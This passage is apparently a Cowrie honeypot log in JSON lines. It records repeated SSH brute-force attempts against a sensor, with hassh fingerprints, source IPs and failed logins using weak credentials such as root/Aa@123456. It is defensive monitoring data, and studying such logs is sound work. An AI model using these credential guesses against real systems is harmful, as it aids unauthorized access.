{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:23.591474Z","src_ip":"45.153.34.114","session":"ab2faa1df846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:23.924894Z","src_ip":"45.153.34.114","session":"ab2faa1df846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:25.018101Z","src_ip":"45.153.34.114","session":"ab2faa1df846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":38944,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2f027d653b6","protocol":"ssh","message":"New connection: 103.75.199.4:38944 (159.203.135.109:22) [session: b2f027d653b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:31.166948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:31.173159Z","src_ip":"103.75.199.4","session":"b2f027d653b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:31.265162Z","src_ip":"103.75.199.4","session":"b2f027d653b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:31.553007Z","src_ip":"103.75.199.4","session":"b2f027d653b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44862,"dst_ip":"159.203.135.109","dst_port":22,"session":"73053de83a5d","protocol":"ssh","message":"New connection: 45.153.34.114:44862 (159.203.135.109:22) [session: 73053de83a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:31.713228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:31.718925Z","src_ip":"45.153.34.114","session":"73053de83a5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:31.809718Z","src_ip":"45.153.34.114","session":"73053de83a5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:32.069651Z","src_ip":"45.153.34.114","session":"73053de83a5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:32.647489Z","src_ip":"103.75.199.4","session":"b2f027d653b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:33.166902Z","src_ip":"45.153.34.114","session":"73053de83a5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34010,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb6b455f1328","protocol":"ssh","message":"New connection: 45.153.34.114:34010 (159.203.135.109:22) [session: eb6b455f1328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:39.735026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:39.764486Z","src_ip":"45.153.34.114","session":"eb6b455f1328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:39.907183Z","src_ip":"45.153.34.114","session":"eb6b455f1328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:40.224712Z","src_ip":"45.153.34.114","session":"eb6b455f1328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:41.317975Z","src_ip":"45.153.34.114","session":"eb6b455f1328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34022,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8c6f59dccbd","protocol":"ssh","message":"New connection: 45.153.34.114:34022 (159.203.135.109:22) [session: a8c6f59dccbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:47.890336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:47.896436Z","src_ip":"45.153.34.114","session":"a8c6f59dccbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:47.978358Z","src_ip":"45.153.34.114","session":"a8c6f59dccbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:48.326105Z","src_ip":"45.153.34.114","session":"a8c6f59dccbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:49.416290Z","src_ip":"45.153.34.114","session":"a8c6f59dccbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56116,"dst_ip":"159.203.135.109","dst_port":22,"session":"431be7293072","protocol":"ssh","message":"New connection: 103.75.199.4:56116 (159.203.135.109:22) [session: 431be7293072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:53.115082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:53.119592Z","src_ip":"103.75.199.4","session":"431be7293072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:53.210509Z","src_ip":"103.75.199.4","session":"431be7293072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:53.482861Z","src_ip":"103.75.199.4","session":"431be7293072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:54.577393Z","src_ip":"103.75.199.4","session":"431be7293072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48928,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b4d009a309b","protocol":"ssh","message":"New connection: 45.153.34.114:48928 (159.203.135.109:22) [session: 5b4d009a309b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:56.470415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:56.474664Z","src_ip":"45.153.34.114","session":"5b4d009a309b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:56.565954Z","src_ip":"45.153.34.114","session":"5b4d009a309b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:56.834939Z","src_ip":"45.153.34.114","session":"5b4d009a309b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:57.925932Z","src_ip":"45.153.34.114","session":"5b4d009a309b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.75.208.248","src_port":49714,"dst_ip":"159.203.135.109","dst_port":23,"session":"8966f70c1dd1","protocol":"telnet","message":"New connection: 159.75.208.248:49714 (159.203.135.109:23) [session: 8966f70c1dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:02.265205Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48684,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cc86fcac125","protocol":"ssh","message":"New connection: 45.153.34.114:48684 (159.203.135.109:22) [session: 2cc86fcac125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:04.373301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:04.381054Z","src_ip":"45.153.34.114","session":"2cc86fcac125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:04.458662Z","src_ip":"45.153.34.114","session":"2cc86fcac125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:04.798920Z","src_ip":"45.153.34.114","session":"2cc86fcac125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:05.886419Z","src_ip":"45.153.34.114","session":"2cc86fcac125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33918,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb986a4a5771","protocol":"ssh","message":"New connection: 45.153.34.114:33918 (159.203.135.109:22) [session: cb986a4a5771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:12.539277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:12.543980Z","src_ip":"45.153.34.114","session":"cb986a4a5771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","a